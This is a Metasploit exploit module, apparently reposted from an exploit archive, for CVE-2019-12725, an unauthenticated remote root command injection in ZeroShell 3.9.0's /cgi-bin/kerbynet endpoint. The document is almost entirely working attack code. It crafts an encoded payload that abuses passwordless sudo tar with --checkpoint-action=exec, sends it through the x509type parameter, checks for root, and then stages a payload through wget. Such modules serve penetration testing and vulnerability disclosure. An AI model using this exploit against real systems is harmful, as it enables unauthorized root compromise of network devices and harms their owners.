ZeroShell 3.9.0 – ‘cgi-bin/kerbynet’ Remote Root Command Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Zeroshell 3.9.0 Remote Command Execution', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url. As sudo is configured to execute /bin/tar without a password (NOPASSWD) it is possible to run root commands using the "checkpoint" tar options. }, 'Author' => [ 'Juan Manuel Fernandez', # Vulnerability discovery 'Giuseppe Fuggiano <giuseppe[dot]fuggiano[at]gmail.com>', # Metasploit module ], 'References' => [ ['CVE', '2019-12725'], ['URL', 'https://www.tarlogic.com/advisories/zeroshell-rce-root.txt'], ['URL', 'https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py'] ], 'DisclosureDate' => 'Jul 17 2019', 'License' => MSF_LICENSE, 'Privileged' => true, 'Platform' => [ 'unix', 'linux' ], 'Arch' => [ ARCH_X86 ], 'Targets' => [ ['Zeroshell 3.9.0 (x86)', { 'Platform' => 'linux', 'Arch' => ARCH_X86, }], ], 'DefaultTarget' => 0, )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), ]) end def execute_command(cmd, opts = {}) command_payload = "%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22#{filter_bad_chars(cmd)}%22%0A%27" print_status("Sending stager payload...") res = send_request_cgi( 'method' => 'GET', 'uri' => '/cgi-bin/kerbynet', 'encode_params' => false, 'vars_get' => { 'Action' => 'x509view', 'Section' => 'NoAuthREQ', 'User' => '', 'x509type' => command_payload } ) return res end def filter_bad_chars(cmd) cmd.gsub!(/chmod \+x/, 'chmod 777') cmd.gsub!(/;/, " %0A ") cmd.gsub!(/ /, '+') cmd.gsub!(/\//, '%2F') return cmd end def check res = execute_command('id') if res && res.body.include?("uid=0(root)") Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit print_status("Exploiting...") execute_cmdstager(flavor: :wget, delay: 5) end end |